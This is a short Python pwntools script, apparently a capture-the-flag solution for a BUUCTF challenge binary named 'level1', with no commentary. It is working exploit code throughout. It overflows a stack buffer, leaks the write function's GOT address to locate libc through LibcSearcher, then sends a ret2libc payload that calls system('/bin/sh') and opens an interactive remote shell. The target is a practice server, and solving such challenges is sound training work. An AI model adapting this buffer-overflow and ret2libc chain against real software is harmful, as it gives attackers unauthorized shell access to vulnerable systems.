

```
from pwn import *
from LibcSearcher import *

r = remote('node4.buuoj.cn',28287)
elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write']
write_got=elf.got['write']

payload = 'a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4)

r.send(payload)
write_addr = u32(r.recv(4))

libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')

system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload = 'a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)

r.send(payload)
r.interactive()
```